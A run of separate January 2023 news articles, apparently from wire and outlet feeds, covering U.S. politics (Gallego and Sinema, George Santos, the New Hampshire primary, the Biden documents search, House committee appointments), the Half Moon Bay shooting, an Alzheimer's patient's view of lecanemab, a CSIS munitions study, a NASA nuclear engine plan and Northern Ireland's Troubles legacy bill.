Even before Sinema officially left the Democratic Party, some progressives had urged Gallego to challenge her as a way to usher in a senator who more closely aligns with President Bidens policies and vision.

Im most excited about Gallego drawing contrasts with Sinema on who the seat should serve, Angelo Greco, a progressive campaign operative who worked for Sanders, said Monday. Hes going to have so many examples of when Sinema hid behind the filibuster to protect corporate power or gave her famous thumbs down on the Senate floor, denying hundreds of thousands of Arizonans a raise.

The enthusiasm on the left is palpable, and the Gallego camp is plowing ahead.

The rich and the powerful, they dont need more advocates, Gallego said in a campaign video announcement. Its the people that are still trying to decide between groceries and utilities that need a fighter for them.

Allies close to the congressman say his appeal is far-reaching: a young, working class Latino close with both mainstream Democrats and activists.

They also say the 43-year-old embodies much of what Democrats want in a future senator. Hes a military veteran who works to advance the presidents agenda and pushes it further to the left. A new face who represents fresh leadership. A team blue player as Democrats look to retain the White House and Senate and recapture the House.

In other words, not Sinema.

Other than [Sen. Joe] Manchin (D-W.Va.), theres been no one as responsible for lessening the pro-worker elements of the presidents agenda, Greco said.

But less than 24 hours into Gallegos kickoff, its clear that his bid comes with some immediate political challenges.

Sinema has been coy about her plans, declining to say whether shell seek a second term as an Independent and throwing a degree of uncertainty into the race that could have hefty ramifications for the partys direction and control of the upper chamber.

She made only a vague reference to her thinking Monday afternoon.

Im continuing to do what Ive done for the last 20 years  deliver results for AZ, she wrote on Twitter. Last Congress we delivered landmark laws to make Arizonans lives better. Im excited to keep up the momentum in the 118th Congress and secure even more wins for our state.

And she declined to answer any further questions while leaving the Capitol in the evening.

Still, progressives have been waiting to take down Sinema for a long time. They view her as politically meddlesome, always working the angles. To her more fervent detractors, shes an impediment to both their ideology and Bidens priorities, particularly when big ticket items like voting rights come up.

Gallego, they say, is their best shot at taking hold of her seat.

The thing about Ruben is he knows exactly who he is, said Joe Sanberg, a prominent Democratic donor and activist whos close friends with Gallego. This campaign isnt about any individual personality.



But a blue win in swingy Arizona is far from certain. Biden narrowly won the state against former President Trump in 2020 after a campaign-long investment. And while Democrats got more good news recently when Democrat Katie Hobbs won the midterm governors race against Trump-aligned Kari Lake and Kelly won a second term, its still very much a battleground.

Where Gallego, a member of the Congressional Progressive Caucus, is to the left of many in his party, Sinema is a known entity to voters, and usually falls more in the middle. She was first elected to the House, then the Senate, as a Democrat before changing her party registration late last year. She has since presented herself as an independent-minded lawmaker in the state where voters liked the late Sen. John McCain (R-Ariz.)s maverick style.

And while shes no longer technically with the party, she still votes with the majority, which could factor into some calculations when up against the eventual GOP nominee.

While most Democrats skirted the question of their support into the evening, she did find a reliable ally in her fellow Senate nonconformist.

Whatever she wants to do, I support her, Manchin said in a gaggle.

Im not going to tell them what to do but they should support someone who brings basically some peace, if you will, or some rational thinking on some of this stuff without being pushed far left, he added about who leadership should embrace.

I trust her, he went on. I understand where shes coming from, and shes always going to try to find the middle, and thats all I can ask for.

Republicans were also assessing their options on Monday.

Well cross that bridge when we come to it, Sen. John Thune (R-S.D.) said on Capitol Hill when asked by a reporter about whether he would endorse a GOP challenger to Sinema.

Obviously, wed love to have her become Republican, he said. Or at least caucus with Republicans.

For the latest news, weather, sports, and streaming video, head to The Hill.
Rep. George Santos leaves the US Capitol on January 12, 2023 in Washington, DC. Win McNamee/Getty Images

NY Rep. George Santos claimed to Brazilian media that he was the victim of an attempted murder.

On the podcast Radio Novela Apresenta, he also said he was mugged in broad daylight on Fifth Avenue.

Santos said he was robbed of his briefcase, watch, and shoes, but did not provide a police report.

Embattled New York Rep. George Santos told Brazilian media in December that he was the victim of a series of crimes, including an assassination attempt and a mugging on Fifth Avenue.

In a clip uncovered by the "Rachel Maddow Show" on MSNBC, Santos tells the podcast Radio Novela Apresenta that his home was vandalized in January of 2021 simply because he was a Republican.

"I'm going to a New Year's Eve party with my husband. We go back to our house, it was vandalized because we were at a Republican Party in Florida in December 2020," Santos told the hosts, according to the Rachel Maddow Show translation. "So that's it. I've experienced vandalism."

Santos then makes another claim: Someone tried to take his life.

"We have already suffered an attempt on my life, an assassination attempt, a threatening letter, having to have the police, a police escort standing in front of our house," Santos says.

Santos did not elaborate on his claim in the clip, according to host Rachel Maddow.

EXCLUSIVE: Rachel Maddow shares new video of Republican Rep. George Santos in an interview with a Brazilian media outlet describing being the victim of a mugging and an assassination attempt. pic.twitter.com/EhPYiSNswk  Maddow Blog (@MaddowBlog) January 24, 2023

Later in the interview, Santos says he was a victim of a mugging "in broad daylight" on New York City's Fifth Avenue in the summer of 2021. Santos said two men robbed him of his briefcase, watch, and shoes after he left his office and was getting into his car.

"They stole your shoes in the middle of Fifth Avenue?" interjected podcast interviewer Joao Batista Jr., per a translation of the clip by the Rachel Maddow show.

"In the middle of Fifth Avenue," Santos answered. "And that wasn't the worst of it. Nobody did anything, nobody did anything. The fear is real. It's surreal what we live through here."

Podcast interviewers Batista and Flora Thomson-Deveaux said they later asked Santos for his police report of the mugging, but he failed to respond.

On Friday, Thomson-DeVeaux tweeted that the December 7 interview with Santos was "one of the most infuriating interactions" she could remember in recent years, saying he "spewed unbelievable fake facts" but refused to engage when challenged.

The clip comes as Santos faces growing controversy over apparent falsehoods in his resume, campaign biography, family history, and religious background.

Though Santos admitted and apologized for embellishing his past while campaigning, he's also accused the "elitist" New York Times of misrepresenting his employment history.

A representative for Santos and the NYPD did not immediately respond to Insider's requests for comment.

Read the original article on Business Insider
Then-Democratic presidential candidate Joe Biden speaks during a campaign event at Ashworth by the Sea on Feb. 9, 2020, in Hampton, N.H. Biden has proposed changing New Hampshire's first-in-the-nation primary position. (Justin Sullivan / Getty Images)

Phil Hatcher and his wife moved to New Hampshire from the Midwest in 1986, and soon got a taste of what makes the state's first-in-the-nation primary so special to the people who live there.

The Rev. Jesse Jackson gave their young daughter a pat on the head at an event during his 1988 presidential campaign, before placing fourth in the state. During the 1992 presidential primary cycle, Hatcher attended his first house party, where former California Gov. Jerry Brown was the guest of honor.

"A friend of ours went to a Jerry Brown event and just walked up to him and said, Id like to have you come to my house. And he looked at her and said, Fine, said Hatcher, who is now co-chair of the Dover Democrats. It was amazing to us.

Thirty years later, the future of New Hampshires century-old, first-in-the-nation primary is on shaky ground, as the national Democratic Party seeks to reassert its control over a process thats been centered on traditions and dominated by smaller, predominantly white states.

For Hatcher, 100 years is a pretty good run.

Im in the camp of maybe its time for us to give it up, you know? he said. I understand its been a great thing for New Hampshire, but I think its hard to justify keeping it at this point.

The Democratic National Committee is set to vote next month on President Biden's proposal to dramatically reshape the first weeks of the party's 2024 primary calendar. Instead of leading with the Iowa caucuses and the New Hampshire primary, presidential candidates would first face voters in South Carolina on Feb. 3, New Hampshire and Nevada on Feb. 6, Georgia on Feb. 13 and Michigan on Feb. 27.

But the odds of that calendar playing out in 2024 are low.

To go second, New Hampshire would need to repeal a 1975 state law that requires itsprimary to precede others by a week and pass new legislation expanding access to early voting.

The Democratic Party gave the state until Jan. 5 to pledge to make those changes. The state's Republican Gov. Chris Sununu has repeatedly and forcefully rejected the party's demands, writing earlier this month that the state would not be "blackmailed" or "threatened" by national Democrats.

"We're going first, regardless of what Joe Biden thinks or wants," Sununu recently told Bloomberg. "I think the Democrats have made a huge mistake."

To keep their spot, Georgia Democrats would need to convince Republicans to hold two primaries. The Republican National Committee voted in September to keep the traditional order of the Iowa caucus and the New Hampshire primary.

And if Biden decided to run for reelection, it would limit the impact of the entire lineup.

With the Republican 2024 primary calendar set and the Democrats' in flux, the DNC's February vote won't end New Hampshire's first-in-the-nation primary status. But if the national party approves Biden's plan, it would end decades of national party deference to the state, setting a new precedent for the 2028 primary season.

By acting now, when the odds of an open primary are low, national Democrats believe they have a better shot at upending old traditions in favor of a new system that prioritizes states that reflect the party's base and decide general elections.

The new plan sends a signal "that change isn't just necessary, but possible," said Mo Elleithee, a member of the Democratic National Committees Rules and Bylaws panel.

"We're going to be constantly reevaluating this and have a framework on how to change it based on the needs of any given cycle," Elleithee said. "That's an incredibly important message to send."

The party has also moved to strengthen penalties against states that hold unsanctioned nominating contests.

When Michigan and Florida jumped the line and held early primaries in 2008, the DNC initially stripped the states of their delegates before reversing course ahead of the convention.

Elleithee, who worked for Hillary Clinton's 2008 presidential campaign, said the lesson he took away from that situation was that any effort to enforce the primary calendar would need to focus on the candidates, not just states and their delegates. Clinton and her competitors signed a pledge circulated by the Iowa, New Hampshire, South Carolina and Nevada state parties stating they would not campaign in the rogue states.

Under new rules approved last year, candidates who put their name on the ballot or campaign in states that have jumped the line could face additional sanctions from the Democratic party chair, such as being blocked from attending debates and losing access to the party's voter information database.

So when you hear a state say, We dont care what the DNC does, because theres no way the candidates arent going to come,' they might not if theres too big of a price to pay, Elleithee said.

The debate over the nominating calendar, and the threats to Iowa and New Hampshire's dominance aren't new. Ahead of the 2008 presidential primary, the party was debating a similar question: How do you give people of color a louder, earlier voice in the nominating process? The answer: Move up South Carolina and Nevada, where Black and Latino voters make up significant portions of the Democratic base.

In 2022, the DNC opened up the primary calendar process to all states that wanted to apply for an early spot. Twenty states and territories applied, and 17 were invited to make presentations. Committee members aimed to pick states that are racially and regionally diverse, have inclusive election processes  including a shift away from caucuses  and would allow Democratic candidates to get in front of as many battleground state voters as possible.

Nevada appeared to be the favorite for the first-in-the-nation slot before Bidens proposal, and would likely be the favorite when the DNC reevaluates the calendar ahead of the 2028 cycle.

"For Democrats, choosing a president to lead America should start with a state that looks like America," Rebecca Lambe, a Democratic consultant who worked as former Nevada Sen. Harry Reid's chief political strategist, wrote in a November memo pitching Nevada as the first primary state. Reid, who died in 2021, played a pivotal role in increasing Nevada's influence in the nominating process.

Its a diverse, majority-minority state and a general election battleground. Nevada Democrats in recent years have passed legislation expanding mail voting and switching from caucuses to a primary system.

And unlike New Hampshire, Nevada's backers may have gained good will with the committee by refraining from publicly criticizing the 2024 plan.

With their primary position under threat, New Hampshire Democrats  including the state's congressional delegation, current and former legislators and influential DNC members  have pointed to the state law protecting their primary while also urging Biden and other DNC members to reconsider. The state's Democratic senators, Jeanne Shaheen and Maggie Hassan, boycotted the White House congressional ball last month after Biden unveiled his plan, and have promised to keep fighting for first-in-the-nation status.

In a Jan. 5 letter to the party's rules and bylaws committee, New Hampshire Democratic Party chair Raymond Buckley called the changes the DNC has asked the state to make "unrealistic and unattainable." Buckley warned that the party was giving Republicans a valuable talking point ahead of the 2024 election, when the governor's mansion, two congressional seats, control of the state legislature and the state's four electoral college votes will be up for grabs.

Some in New Hampshire have also criticized Biden for arranging the primary schedule in a way that would benefit his reelection campaign by deterring challengers.

Neil Levesque, the executive director of the New Hampshire Institute of Politics at Saint Anselm College, has accused Biden of attempting to "rig" the 2024 presidential primary by elevating a state that's favored him in the past. After placing fifth in New Hampshire's 2020 presidential primary, Biden's campaign was revived by a first-place finish in the South Carolina primary, a victory that has been credited in part to a key endorsement from Democratic Rep. James E. Clyburn.

The president does not want to campaign in a state like New Hampshire because campaigning is not what people in power want to do," Levesque said. "They want to go to a state like South Carolina, where one endorsement by a party boss will mean success.

South Carolina is one of the few states that has a high share of Black voters and the flexibility to move its primary  unlike New Hampshire, the state party sets the primary date. But it is not a competitive general election state and lacks a strong union presence.

Democrats from the state have rejected the characterization that voters there are less independent than those in New Hampshire.

"Zero tolerance  ZERO for any disrespect or dismissal of Black voters," Democratic National Committee chairman Jaime Harrison, who previously ran the South Carolina Democratic Party, wrote in a tweet. "These voters are always pragmatic & clear-eyed. Their knees have never buckled. Their spines have been stiffened in the perpetual fight for freedom and equality for ALL of US!"

In interviews, New Hampshire primary supporters stressed that no other state can match their track record of dedicated voters and support for underdog candidates.

Historically, New Hampshire has been a place where upstart political candidates lacking major donors and party backing have launched winning campaigns by shaking hands and answering tough questions at town halls and house parties.

The state is small enough that one can drive from its southern border with Massachusetts to its northern-most border with Canada in just over four hours, though most of its 1.4 million residents live near Manchester. It has media markets in which ad buys are cheaper and a politically engaged electorate that welcomes  and expects to have  conversations with presidential candidates.

"The New Hampshire primary creates such a level playing field, whether it was Jimmy Carter in 1976, or it was Bernie Sanders in 2016," Buckley said. "One thing that has been very consistent is that the New Hampshire voters decide. There's not a group of insiders, there's not a group of powerful power brokers."

Critics say that history is just that  stories about a bygone era. Or worse, a myth. Even fans of the New Hampshire primary say that the retail politics of the past have just given way to more rallies and selfie lines.

"Everybody refers to the Jimmy Carter campaign, which was real," said Hatcher, the Dover Democrat. "But you know, how many Jimmy Carters have happened since then?"

This story originally appeared in Los Angeles Times.
Police tape is placed near the scene of a shooting Monday, Jan. 23, 2023, in Half Moon Bay, Calif. Multiple people were killed in two related shootings Monday at a mushroom farm and a trucking firm in a coastal community south of San Francisco, and officials say a suspect is in custody. (AP Photo/Jeff Chiu)

HALF MOON BAY, Calif. (AP)  Seven people were killed in two related shootings Monday at a mushroom farm and a trucking firm in a coastal community south of San Francisco, and a suspect was in custody, officials said.

San Mateo County Board of Supervisors President Dave Pine says four people were killed at the farm and three at the trucking business on the outskirts of Half Moon Bay, a city about 30 miles (48 kilometers) south of San Francisco.

The police have arrested 67-year-old Zhao Chunli in connection with the shooting, Pine said.

It wasnt immediately clear how the locations were connected, though Pine said the suspect worked for one of the businesses. He called the suspect a disgruntled worker.

California state Sen. Josh Becker, who represents the area, said people were killed in separate shootings. San Mateo County Supervisor David Canepa tweeted that one shooting happened at a mushroom farm.

The San Mateo County Sheriff's Office tweeted just before 5 p.m. that a suspect was in custody.

There is no ongoing threat to the community at this time," the sheriff's office said.

Television footage from the area showed officers taking a man into custody without incident.

Aerial television images also showed police officers collecting evidence from a farm with dozens of greenhouses.

The shooting followed the killing of 11 people late Saturday at a ballroom dance hall in Southern California.

We are sickened by todays tragedy in Half Moon Bay," Dave Pine, president of the San Mateo County Board of Supervisors, said in a statement. We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop.

California Gov. Gavin Newsom tweeted that he was "at the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy."
WASHINGTON (AP)  President Joe Bidens decision allowing the FBI to search his home in Delaware last week is laying him open to fresh negative attention and embarrassment following the earlier discoveries of classified documents at that home and a former office. But its a legal and political calculation that aides hope will pay off in the long run as he prepares to seek reelection.

The remarkable, nearly 13-hour search by FBI agents of the sitting president's Wilmington home is the latest political black eye for Biden, who promised to restore propriety to the office after the tumultuous tenure of his predecessor, Donald Trump.

But with his actions, Biden is doing more than simply complying with federal investigators assigned to look into the discovery of the records. The president is aiming to show that, unlike Trump, he never intended to retain classified materials  a key distinction that experts say diminishes the risks of criminal liability. His attorneys have said full access was granted to the home in the interest of moving the process forward as expeditiously as possible.

If I was a lawyer and I represented the president of the United States and I wanted to show, I am being fully cooperative, and I do care to be projecting transparency to the American public, and I do take this seriously,' I think this is the advice I would give as well, said Mary McCord, a former senior Justice Department national security official.

That's not to say she approves of his handling of the documents.

I think its wrong that he had those documents there," she said. "It shows lapses at the end of the administration, when Biden was completing his time as vice president under Barack Obama.

Biden's personal attorneys first discovered classified materials on Nov. 2, a week before the midterm elections, as they were clearing out an office Biden had used at the Penn Biden Center in Washington. Since that initial discovery, Biden's team has adopted an accommodating approach to the investigation, even if they haven't been completely transparent in public.

They didn't acknowledge the first discovery before the elections, though they swiftly notified the National Archives of the discovery, returned the documents the day after they were found and coordinated subsequent searches and discoveries with the Department of Justice.

They also are not standing in the way of interviews of staff, including Kathy Chung, Biden's executive assistant when he was vice president, who helped oversee the packing of boxes that were taken to the Penn Biden Center.

She feels some responsibility given her position, but she had absolutely no knowledge of classified documents being packed, according to a person familiar with her thinking. The person spoke on condition of anonymity to discuss an ongoing investigation.

Biden himself has said he was surprised the documents were in his possession. Last Thursday, frustrated at all the focus, he told reporters: There's no there there.

I think youre going to find theres nothing there."

It all fits a theme: Biden and his aides maintain the document mishandling was not intentional. As far as Biden's possible legal exposure goes, the question of intention is critical: Federal law does not allow anyone to store classified documents in an unauthorized location, but it's only a prosecutable crime when someone is found to have knowingly" removed the documents from a proper place.

Still, welcoming the FBI search could backfire as the investigators continue, should they find some evidence of criminality. Agents last week took possession of an additional round of items with classified markings, and some of Biden's handwritten notes and materials from his tenure as vice president and senator.

That's in addition to the documents already turned in by Biden's lawyers. Agents could also choose to search the Penn Biden Center and Biden's other home in Rehoboth Beach, Delaware, as the probe continues.

Criticism of Biden's handling of the matter has come from Democrats as well as Republicans. Sen. Dick Durbin, D-Ill., the chairman of the Senate Judiciary Committee, said the president should be embarrassed by the situation.

I think he should have a lot of regrets, added Sen. Joe Manchin, D-W.Va. Even Bidens own attorneys have called it a mistake.

Republicans, meanwhile, have sought to use their new-found powers in the House, where they regained the majority this month, to investigate Bidens handling of the documents and hope to capitalize on the investigation.

It is troubling that classified documents have been improperly stored at the home of President Biden for at least six years, raising questions about who may have reviewed or had access to classified information, House Oversight Chairman James Comer, R-Tenn., wrote in asking for visitor logs to Biden's residence.

Trump and some of his supporters have been more outspoken, claiming Biden is guilty of worse mishandling of classified documents than the Democrats sanctimoniously accuse Trump of being. The former president is sure to press that accusation vigorously as he campaigns to regain the White House.

The investigation of Trump also centers on classified documents that ended up at a home. In that case, though, the Justice Department issued a subpoena for the return of documents that Trump had refused to give back, then obtained a warrant and seized more than 100 documents during a dramatic August search of his Florida estate, Mar-a-Lago. Federal agents are investigating potential violations of three federal laws, including one that governs gathering, transmitting or losing defense information under the Espionage Act.

In 2016, when the FBI recommended against criminal charges for Hillary Clinton over classified emails she sent and received via a private server when she was secretary of state, then-FBI Director James Comey said the Justice Department in choosing which cases to bring over the past century  has looked for evidence of criminal intent, indications of disloyalty to the U.S., retention of vast quantities of classified documents or any effort to obstruct justice.

One year earlier, a lawyer for Clinton voluntarily gave the FBI a thumb drive containing roughly 30,000 emails from her tenure as secretary of state.

It's not clear whether agents in the Biden investigation have progressed beyond the question of intent. The White House has not answered key questions, including how classified information from his time as vice president could have ended up inside his Delaware home. But Attorney General Merrick Garland appointed a special counsel to head the probe given the sensitive politics around it.

Garland declared on Monday, in answer to a question: We do not have different rules for Democrats or Republicans. ... We apply the facts under the law in each case in a neutral and nonpartisan manner. That is what we always do and that is what we are doing in the matters you are referring to."

One key test of the limits of Bidens strategy revolves around the question of whether the president will agree to an interview with federal investigators if he is asked. White House officials thus far have refused to say whether or under what terms he would do so.

There could still be consequences outside of criminal prosecution for any staffer found to have mishandled classified documents, including ramifications on security clearances necessary for national security work.

Meanwhile, Biden and his staff are trying to refocus the media and public back on his agenda. White House press secretary Karine Jean-Pierre has said she will not answer questions on the investigation during her daily briefings, instead referring most queries to the Justice Department, White House lawyers or Biden's personal attorneys.
Speaker Kevin McCarthy (Calif.) appointed two of his conservative critics to the House Rules Committee on Monday following this months protracted Speakers race, when the GOP leader agreed to increase the number of hard-line Republicans on the panel.

McCarthy appointed GOP Reps. Ralph Norman (S.C.) and Chip Roy (Texas) to the powerful panel, giving them a seat on the committee that controls how bills are debated on the House floor after the pair voted against McCarthys Speakership bid on the first 11 ballots earlier this month.

The two Republicans  both of whom are members of the House Freedom Caucus  switched to support McCarthy on the 12th ballot but only after extracting a number of concessions from the GOP leader. One of those agreements was to seat three hard-line conservative members on the Rules Committee.

Rep. Thomas Massie (R-Ky.), another conservative lawmaker, was also appointed to the Rules Committee by McCarthy. He is not, however, a member of the Freedom Caucus.

The appointments of Norman, Roy and Massie, nonetheless, fulfill McCarthys promise to put hard-line Republicans on the panel.

Republican Reps. Tom Cole (Okla.), Michael Burgess (Texas), Guy Reschenthaler (Pa.), Michelle Fischbach, Erin Houchin (Ind.) and Nick Langworthy (N.Y.) also received appointments to the Rules Committee.

Burgess, Reschenthaler and Fischbach all served on the panel in the last Congress, and Cole, who was previously ranking member of the panel, will serve as chairman.

Rep. Jim McGovern (Mass.), the ranking Democrat on Rules, had a one-word response to the GOP appointments on Twitter: Yikes.

McCarthys agreement to appoint more hard-line conservatives to the Rules Committee was a key concession in the deal he struck with his holdouts that helped increase his support for the Speakership. In the two ballots after the deal leaked to the press  the 11th and 12th  a total of 14 Republicans flipped from opposing McCarthy to supporting him, giving him a significant boost in his quest for the Speakership.

The appointment of Norman, Roy and Massie to the Rules panel gives them significant influence over when legislation is brought to the floor and how it is debated in the 118th Congress. The panel also has jurisdiction over the amendment process for bills.

Their elevations to the panel also mean that they could have a strong sway over whether legislation is sent to the floor, depending on the ratio of Republicans to Democrats on the committee.

In the last Congress, the majority party had nine lawmakers on the Rules Committee and the minority party had four  meaning if three members of the majority objected, the rule would not pass.

McCarthy on Monday also announced members to the House Permanent Select Committee on Intelligence and the newly created House Select Committee on the Strategic Competition Between the U.S. and the Chinese Communist Party. The House created the China select committee after passing a bipartisan resolution earlier this month.

Republican Reps. Michael Turner (Ohio), Brad Wenstrup (Ohio), Chris Stewart (Utah), Rick Crawford (Ark.), Elise Stefanik (N.Y.), Trent Kelly (Miss.), Darin LaHood (Ill.), Brian Fitzpatrick (Pa.), Mike Gallagher (Wis.), Austin Scott (Ga.), French Hill (Ark.), Dan Crenshaw (Texas), Michael Waltz (Fla.) and Mike Garcia (Calif.) all received appointments to the Intelligence Committee, which will be headed by Turner.

And Gallagher and GOP Reps. Rob Wittman (Va.), Blaine Luetkemeyer (Mo.), Andy Barr (Ky.), Dan Newhouse (Wash.), John Moolenaar (Mich.) Neal Dunn (Fla.), Jim Banks (Ind.), Dusty Johnson (S.D.), Michelle Steel (Calif.), Carlos Gimenez (Fla.) and LaHood will serve on the China select committee, with Gallagher as chairman.

For the latest news, weather, sports, and streaming video, head to The Hill.
The sun is finally shining in rain-soaked Danville, California, just in time for Pam Montana to refill the bird feeders. For her, time is everything.

"If I could freeze just even today, that would really last for another year and then it gets foggy again. That would be awesome," Montana said.

Pams savored each minute since July 20, 2016. Thats the day doctors told her she had early-onset Alzheimers  with no known family history.

She first got checked out after she found herself needing to take more detailed notes at her long-time tech job. And her husband noticed little memory lapses on vacation. She had known something was up, but it still took months of appointments, scans and tests.

"We were all sitting around the table and it took 'em about 20 minutes to say, you know, that I had Alzheimer's. It was kind of frustrating. At the same time, it was you know  it was devastating," Montana said. "But part of me, you know, it was kind of validated because nobody believed me. You know, everybody kept saying, well, you look fine and you can talk and you know, you can drive."

Pam took Scripps News through her story as life profoundly shifted. The plot points are memorized like a well-read book.

First, short-term disability leave from work, then long-term and then retirement. She became an advocate and raised thousands for the Alzheimers Association. She enrolled in a clinical trial testing an experimental treatment for her disease. The trial stopped because the drug failed. She enrolled in another drug trial and is still waiting for those results.

"This isn't what I wanted. You know, I would say that I'd rather be working. You know, doing things that I can do. On myself. Because of a lot of things I can't anymore," she said. "I don't remember when it was. It might have been yesterday. And I couldn't. I couldn't do the math. Like at all. And I tried like, five times to figure out, like, how to carry it over. And I'm like, 'okay, I'm done.'"

SEE MORE: New Alzheimer's drug study seeking more diverse volunteers

Symptoms like that 'math incident' have picked up for Montana in recent months. Thats why shes interested in the new Alzheimer's drug, Lecanemab. The FDA gave the treatment accelerated approval earlier this month for patients with mild and early Alzheimers symptoms. Its not a cure, but studies showed the drug moderately slowed cognitive decline by 27% after 18 months compared to those who had a placebo.

"What I understand is I think it would just slow the progression. And that's really all I want. I just want time. I would love anything to just stay where I am right now," Montana said.

The IV antibody treatment is sold under the name Leqembi. Its recommended once every two weeks. The drug tackles what experts think is a hallmark of Alzheimers  a brain protein called amyloid beta. But it comes with risks in the clinical trials: some cases of fluid on the brain and brain bleeds were reported. And then theres the price tag, more than $26,000 a year.

Because of that FDA accelerated approval, patients have to pay out of pocket. That doesnt include costs for scans or doctor follow-ups.

"I think about how many people can afford to pay that. And it really brings up questions of health equity," said Dr. Shad Marvasti, an integrative medicine physician.

"The clinical community and really the patient community are still trying to figure out what's next," said Dr. Shmaria C. Carrillo, chief science officer at the Alzheimers Association.

The price tag hinges on two things: if the Alzheimers drug gets traditional FDA approval and whether Medicare will cover it. Both are uncertain. Carrillo explains the organization has asked the centers for Medicare and Medicaid to reconsider an earlier decision to not cover the class of drugs Lecanemab is in.

"Every day that we wait, 2000 or more individuals will progress to that stage where they no longer can have access to this drug because they don't qualify. That's unacceptable," Carrillo said.

Back in Danville, Pam Montana's shrinking time is getting exponentially more valuable. Shes got constant headaches and ringing in her ears. Some days go slower  more tiring than others.

"I know it's going to get worse because it is getting worse," Montana said. "But I know that that's okay, too. And that we're just kind of like one day at a time thing."

Theyre days she says she's grateful to see, whether shell remember them or not.
The U.S. defense industry is not adequately prepared for a protracted conventional war with an enemy such as China, according to a think tank study published Monday.

The Center for Strategic and International Studies (CSIS) ran a war games simulation that found that the U.S. would likely be depleted of some of its munitions, including long-range, precision-guided ones, in less than a week of war with China in the Taiwan Strait.

The U.S.s use of weapons would exceed the Department of Defenses stockpile, which would make sustaining a long-term war conflict difficult, especially as China is investing in munitions and other weapons systems five to six times faster than the U.S., according to the study.

The Russia-Ukraine war exposed the shortfalls of the U.S.s defense industry, CSIS said, with the study finding that the nations inventories of some weapons, including Javelin anti-armor systems and Stinger anti-aircraft systems, are running low as the U.S. committed to sending more of these systems to Ukraine. The U.S. committed to sending more than 8,500 Javelin systems and more than 1,600 Stinger systems to Ukraine, leaving its own inventory low, according to the report.

The study said that the number of Javelin systems sent to Ukraine is about equal to the total number built for non-U.S. customers over the last 20 years. The study emphasized that the problem was not the U.S. assistance to Ukraine but the current incapacity of the defense industry to supply enough weapons for long-term conflicts.

The main problem is that the U.S. defense industrial base  including the munitions industrial base  is not currently equipped to support a protracted conventional war, the study stated.

The study also said that the U.S.s foreign military sales (FMS) take too long because they need to be initiated by the Department of State and then executed by the Department of Defense and ultimately approved by Congress. Foreign sales have benefits, including supporting the U.S. defense industry, strengthening ally relations and preventing the sale of adversary systems to other countries, the study said.

The U.S. FMS system is not optimal for todays competitive environment  an environment where such countries as China are building significant military capabilities and increasingly looking to sell them overseas, the study stated.

If the U.S. streamlined its FMS process by making it more efficient, the study said, it could help establish predictable, efficient production rates in the defense industry, which could help boost U.S. production levels.

The bottom line is the defense industrial base, in my judgment, is not prepared for the security environment that now exists, CSISs Seth Jones, author of the study, told The Wall Street Journal.

This study follows a separate one published by CSIS earlier this month that found if China invaded Taiwan, there would be heavy losses on all sides, including the U.S.

How do you effectively deter if you dont have sufficient stockpiles of the kinds of munitions youre going to need for a China-Taiwan Strait kind of scenario? Jones asked.

For the latest news, weather, sports, and streaming video, head to The Hill.
By Joey Roulette

WASHINGTON (Reuters) -The United States plans to test a spacecraft engine powered by nuclear fission by 2027 as part of a long-term NASA effort to demonstrate more efficient methods of propelling astronauts to Mars in the future, the space agencys chief said on Tuesday.

NASA will partner with the U.S. military's research and development agency, DARPA, to develop a nuclear thermal propulsion engine and launch it to space "as soon as 2027," NASA administrator Bill Nelson said during a conference in National Harbor, Maryland.

The U.S. space agency has studied for decades the concept of nuclear thermal propulsion, which introduces heat from a nuclear fission reactor to a hydrogen propellant in order to provide a thrust believed to be far more efficient than traditional chemical-based rocket engines.

NASA officials view nuclear thermal propulsion as crucial for sending humans beyond the moon and deeper into space. A trip to Mars from Earth using the technology could take roughly four months instead of some nine months with a conventional, chemically powered engine, engineers say.

That would substantially reduce the time astronauts would be exposed to deep-space radiation and would also require fewer supplies, such as food and other cargo, during a trip to Mars.

"If we have swifter trips for humans, they are safer trips," NASA deputy administrator and former astronaut Pam Melroy said Tuesday.

The planned 2027 demonstration, part of an existing DARPA research program that NASA is now joining, could also inform the ambitions of the U.S. Space Force, which has envisioned deploying nuclear reactor-powered spacecraft capable of moving other satellites orbiting near the moon, DARPA and NASA officials said.

DARPA in 2021 awarded funds to General Atomics, Lockheed Martin and Jeff Bezos' space company Blue Origin to study designs of nuclear reactors and spacecraft. By around March, the agency will pick a company to build the nuclear spacecraft for the 2027 demonstration, the program's manager Tabitha Dodson said in an interview.

The joint NASA-DARPA effort's budget is $110 million for fiscal year 2023 and is expected to be hundreds of millions of dollars more through 2027.

(Reporting by Joey Roulette; Editing by Chizu Nomiyama and David Gregorio)
Ditching controversial legislation dealing with Northern Irelands violent past risks at least a further five-year delay in tackling the thorny issue, a minister has warned.

Lord Caine was responding to calls at Westminster for the Government to rethink and even shelve the Northern Ireland Troubles (Legacy and Reconciliation) Bill, which has triggered widespread opposition at home and abroad.

But in the face of continuing criticism, the Tory frontbencher held out the prospect of making further changes to the proposed law in a bid to meet the concerns of victims and survivors.

The Bill would provide immunity for people accused of Troubles offences, as long as they co-operate with a new truth recovery body, and would also halt future civil cases and inquests linked to killings during the conflict.

Lord Caine (Jacob King/PA)

Critics have denounced the draft legislation as offering an amnesty for killers and is opposed by all Stormonts main parties and the Irish Government, as well as victims groups in Northern Ireland.

The UK Government has already proposed several amendments to the Bill, though the main elements of it remain.

Responding to criticism of the Bill in Parliament, Northern Ireland Office minister Lord Caine said: I never anticipated that the amendments that I bring forward for this stage of the Bill would necessarily be the end of the story.

I am looking at what more can be done that will meet more of the concerns of victims and survivors.

But he added: If as some people are proposing we simply withdraw, delay or start again then I think we really do risk spending at least another five years on this issue.

Lord Caine went on: The Bill does provide an opportunity to give more information to victims and survivors in a timely manner. It is the Governments view that it should proceed.

A leading voice pressing the Government to pause the Bill and start again was Northern Irelands first Police Ombudsman Baroness OLoan.

The independent crossbencher, who during a previous debate recalled losing her unborn baby after surviving an IRA bomb in 1977, said: The Governments actions in bringing this Bill and continuing to push the Bill is doing very serious damage to our reputation as a country.

Its also doing huge damage, I think, and causing a lot of pain and grief and loss of trust in the United Kingdom Government among the people affected by the Bill.

She added: The people of Northern Ireland are united against this Bill. I would ask the Government again to pause and even to dispense with this Bill and to start again.

There is no necessity and no urgency to dealing with this situation. There is a need to get it right.

Lord Eames, the former archbishop of Armagh and Primate of All Ireland, said: I have never, never come across such widespread opposition to a proposal such as this.

There are so many people in Northern Ireland who are going to be denied justice.

